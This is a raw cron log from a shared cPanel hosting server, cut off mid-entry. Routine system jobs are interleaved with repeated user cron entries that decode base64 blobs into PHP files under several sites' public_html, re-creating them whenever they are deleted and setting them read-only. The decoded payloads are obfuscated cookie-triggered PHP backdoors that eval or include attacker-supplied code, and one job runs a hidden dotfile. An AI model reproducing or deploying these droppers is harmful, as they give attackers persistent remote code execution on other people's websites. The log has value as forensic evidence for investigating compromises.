Mar  1 19:02:01 medusa CROND[11845]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:03:01 medusa CROND[3899]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:03:01 medusa CROND[3900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:03:01 medusa CROND[3901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:03:01 medusa CROND[3902]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:03:01 medusa CROND[3903]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:03:01 medusa CROND[3907]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:03:01 medusa CROND[3909]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:03:01 medusa CROND[3910]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:03:01 medusa CROND[3911]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:03:01 medusa CROND[3916]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:03:01 medusa CROND[3912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:03:01 medusa CROND[3919]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:04:01 medusa CROND[28607]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:04:01 medusa CROND[28608]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:04:01 medusa CROND[28609]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:04:01 medusa CROND[28610]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:04:01 medusa CROND[28612]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:04:01 medusa CROND[28613]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:04:01 medusa CROND[28614]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:04:01 medusa CROND[28611]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:04:01 medusa CROND[28617]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:04:01 medusa CROND[28618]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:04:01 medusa CROND[28619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:04:01 medusa CROND[28621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:04:01 medusa CROND[28627]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:05:01 medusa CROND[20802]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:05:01 medusa CROND[20849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:05:01 medusa CROND[20980]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfe